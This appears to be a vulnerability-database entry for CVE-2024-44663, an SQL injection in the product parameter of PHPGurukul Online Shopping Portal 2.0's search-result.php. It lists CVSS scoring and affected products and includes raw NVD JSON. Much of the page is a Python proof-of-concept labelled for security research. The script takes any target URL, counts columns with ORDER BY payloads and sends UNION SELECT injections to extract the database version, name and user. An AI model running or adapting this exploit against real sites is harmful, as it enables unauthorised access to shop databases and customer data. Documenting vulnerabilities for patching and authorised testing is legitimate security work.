Security Vulnerability Report
中文
CVE-2024-44663 CVSS 6.5 MEDIUM

CVE-2024-44663

Published: 2025-11-17 19:16:16
Last Modified: 2025-11-18 20:45:02

Description

PHPGurukul Online Shopping Portal 2.0 is vulnerable to SQL Injection via the product parameter in search-result.php.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:phpgurukul:online_shopping_portal:2.0:*:*:*:*:*:*:* - VULNERABLE
PHPGurukul Online Shopping Portal 2.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2024-44663 SQL Injection PoC # Target: PHPGurukul Online Shopping Portal 2.0 # Vulnerability: SQL Injection in search-result.php product parameter import requests import sys target = input("Enter target URL (e.g., http://target.com): ").rstrip('/') # Step 1: Determine number of columns using ORDER BY def find_columns(): for i in range(1, 20): payload = f"' ORDER BY {i}-- -" url = f"{target}/search-result.php" params = {"product": payload} try: response = requests.get(url, params=params, timeout=10) if "Unknown column" not in response.text: print(f"[+] Found {i-1} columns") return i - 1 except Exception as e: print(f"[-] Error: {e}") return 0 # Step 2: Extract database information using UNION injection def extract_db_info(columns): nulls = ','.join(['NULL'] * columns) payloads = [ f"' UNION SELECT {nulls}-- -", f"' UNION SELECT {nulls} FROM dual-- -", ] # Extract database version version_payload = f"' UNION SELECT NULL,@@version,NULL,NULL,NULL-- -" url = f"{target}/search-result.php" params = {"product": version_payload} try: response = requests.get(url, params=params, timeout=10) if "5." in response.text or "8." in response.text: print("[+] Database version extracted successfully") # Extract current database and user db_payload = f"' UNION SELECT NULL,database(),user(),version(),NULL-- -" params = {"product": db_payload} response = requests.get(url, params=params, timeout=10) print("[+] Attempted database information extraction") except Exception as e: print(f"[-] Error during extraction: {e}") if __name__ == "__main__": print("CVE-2024-44663 SQL Injection PoC") print("=" * 40) columns = find_columns() if columns > 0: extract_db_info(columns) else: print("[-] Could not determine column count")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2024-44663", "sourceIdentifier": "[email protected]", "published": "2025-11-17T19:16:16.400", "lastModified": "2025-11-18T20:45:02.420", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PHPGurukul Online Shopping Portal 2.0 is vulnerable to SQL Injection via the product parameter in search-result.php."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:phpgurukul:online_shopping_portal:2.0:*:*:*:*:*:*:*", "matchCriteriaId": "6E358155-68C0-4C86-8359-49F37445DC44"}]}]}], "references": [{"url": "https://github.com/leexsoyoung/CVEs/blob/main/CVE-2024-44663.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://phpgurukul.com/shopping-portal-free-download/", "source": "[email protected]", "tags": ["Product"]}]}}